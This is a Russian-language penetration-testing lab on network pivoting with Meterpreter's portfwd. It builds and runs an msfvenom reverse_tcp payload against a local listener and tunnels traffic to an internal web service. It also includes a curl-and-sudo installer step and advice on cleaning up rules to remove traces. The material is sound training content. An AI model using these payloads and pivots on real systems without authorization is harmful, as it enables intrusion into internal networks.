Выполнение сетевого пивотинга с помощью portfwd в Meterpreter

Kali LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы узнаете о сетевом пивотинге (network pivoting) — фундаментальной технике в тестировании на проникновение. Пивотинг — это процесс использования скомпрометированной системы для доступа к другим системам во внутренней сети, которые недоступны напрямую с вашей машины.

Мы будем использовать Meterpreter от Metasploit, мощный пост-эксплуатационный пейлоад (payload), и его команду portfwd для достижения этой цели. Вы научитесь настраивать перенаправление портов (port forward) для туннелирования трафика через скомпрометированный хост, что позволит вам взаимодействовать с сервисами в его локальной сети так, как если бы вы были напрямую подключены.

Определение службы во внутренней сети цели

На этом этапе мы симулируем получение сессии Meterpreter на целевой машине. В реальном сценарии это достигается путем эксплуатации уязвимости. Для этой лабораторной работы мы настроим прослушиватель (listener) в Metasploit и вручную выполним пейлоад для подключения к нему. Это позволит нам сосредоточиться на фазе пост-эксплуатации.

Сначала нам нужно установить Metasploit Framework.

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall

Далее откройте терминал и запустите консоль Metasploit.

msfconsole -q

В msfconsole мы настроим обработчик (handler) для прослушивания входящих соединений.

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

Теперь откройте новый терминал (вы можете использовать кнопку "+" на вкладке терминала). В этом новом терминале мы сгенерируем и запустим пейлоад для обратного подключения к нашему прослушивателю.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf
./shell.elf

Вернитесь к вашему первому терминалу с msfconsole. Вы должны увидеть сообщение, указывающее на открытие новой сессии. Давайте взаимодействуем с ней.

sessions -l
sessions -i 1

Теперь вы находитесь в сессии Meterpreter. Обычным первым шагом является проведение разведки. Давайте проверим сетевые интерфейсы "скомпрометированного" хоста.

ifconfig

Вы увидите несколько сетевых интерфейсов. Для этой лабораторной работы мы будем считать, что посредством дальнейшего сканирования (которое выходит за рамки данной лабораторной работы) мы обнаружили веб-сервис, работающий на 127.0.0.1 на порту 8080. Наша цель — получить доступ к этому сервису.

Использование команды portfwd add в Meterpreter

На этом этапе мы рассмотрим команду portfwd, которая является ключевым инструментом для перенаправления портов (port forwarding) в Meterpreter.

Команда portfwd позволяет нам создать туннель, перенаправляя трафик с порта на нашей локальной (атакующей) машине на определенный IP-адрес и порт, доступные со скомпрометированного хоста. В этом и заключается суть пивотинга.

Команда имеет несколько опций, но мы сосредоточимся на add, list и delete (или rm).

Синтаксис для добавления нового правила перенаправления портов выглядит следующим образом:

portfwd add -l <local_port> -p <remote_port> -r <remote_host>

Разберем параметры для операции add:

  • -l <local_port>: Порт на вашей локальной машине (машине атакующего), который будет прослушивать входящие соединения. Вы будете подключаться к этому порту для доступа к удаленному сервису.
  • -p <remote_port>: Порт назначения в целевой сети, к которому вы хотите получить доступ. В нашем случае это 8080.
  • -r <remote_host>: IP-адрес назначения в целевой сети. Этот хост должен быть доступен скомпрометированной машине. В нашем случае это 127.0.0.1.

На следующем шаге мы используем эту команду для создания правила перенаправления для веб-сервиса, который мы определили.

Перенаправление порта со скомпрометированного хоста на вашу машину Kali

Теперь, когда вы понимаете команду portfwd add, давайте используем ее для перенаправления внутреннего веб-сервиса на нашу локальную машину.

Наша цель — получить доступ к сервису, работающему на 127.0.0.1:8080 (с точки зрения скомпрометированного хоста), подключившись к порту на нашей собственной машине. Для этой цели выберем локальный порт 8888.

В вашей сессии Meterpreter выполните следующую команду:

portfwd add -l 8888 -p 8080 -r 127.0.0.1

Эта команда указывает Meterpreter прослушивать ваш локальный порт 8888 и перенаправлять любые соединения на 127.0.0.1:8080 в целевой системе. Вы должны увидеть подтверждающее сообщение.

[*] Local TCP relay created: 127.0.0.1:8888 -> 127.0.0.1:8080

Перенаправление теперь активно. Любой трафик, отправленный на localhost:8888 на вашей машине, будет туннелирован через сессию Meterpreter на порт 8080 цели.

Доступ к внутреннему сервису через новый локальный порт

После настройки перенаправления порта мы теперь можем получить доступ к внутреннему веб-сервису, как если бы он работал на нашей собственной машине.

Откройте новый терминал на вашей машине (не закрывайте терминал msfconsole).

Используйте утилиту командной строки, такую как curl, чтобы отправить запрос на настроенный вами локальный порт (8888). Этот запрос будет отправлен на вашу локальную машину.

curl http://127.0.0.1:8888

Запрос пройдет от вашего клиента curl к вашему локальному порту 8888, через сессию Meterpreter к скомпрометированному хосту и, наконец, к веб-сервису на 127.0.0.1:8080. В результате вы должны увидеть HTML-содержимое внутренней веб-страницы.

<html>
  <body>
    <h1>Internal Service Accessed!</h1>
  </body>
</html>

Успех! Вы успешно выполнили пивот (pivot) в сеть цели и получили доступ к сервису, который не был напрямую доступен.

Список и удаление правила перенаправления портов

После завершения использования пивота хорошей практикой является очистка правил перенаправления портов для удаления следов и освобождения ресурсов.

Сначала давайте выведем список всех активных правил перенаправления портов. Вернитесь в сессию Meterpreter и используйте команду portfwd list.

portfwd list

Вы увидите таблицу с активными перенаправлениями, включая их индексный номер, тип и детали соединения.

Active Port Forwards
====================

Index  Type    Local Host  Local Port  Remote Host  Remote Port
-----  ----    ----------  ----------  -----------  -----------
1      forward 127.0.0.1   8888        127.0.0.1    8080

Для удаления правила вы можете использовать portfwd delete или portfwd rm. Вам нужно указать индексный номер правила из списка. В нашем случае индекс — 1.

Выполните следующую команду для удаления правила:

portfwd delete -i 1

Вы должны увидеть подтверждение того, что TCP-реле остановлено.

[*] Stopping TCP relay on 127.0.0.1:8888...
[*] TCP relay stopped

Вы можете снова выполнить portfwd list, чтобы убедиться, что правило было удалено. Список теперь должен быть пустым. Это гарантирует, что туннель закрыт, и ваша машина больше не прослушивает порт 8888.

Резюме

В этой лабораторной работе вы изучили основы сетевого пивотинга (pivoting) с использованием утилиты portfwd из Meterpreter.

Вы успешно симулировали получение сессии Meterpreter, идентифицировали гипотетическую внутреннюю службу и создали правило перенаправления портов для туннелирования трафика с вашей локальной машины во внутреннюю сеть цели. Затем вы получили доступ к этой внутренней службе через туннель и научились выводить список и удалять правила перенаправления для очистки сессии.

Этот метод является фундаментальным навыком в тестировании на проникновение, позволяя вам расширить доступ от одного скомпрометированного хоста до всей внутренней сети.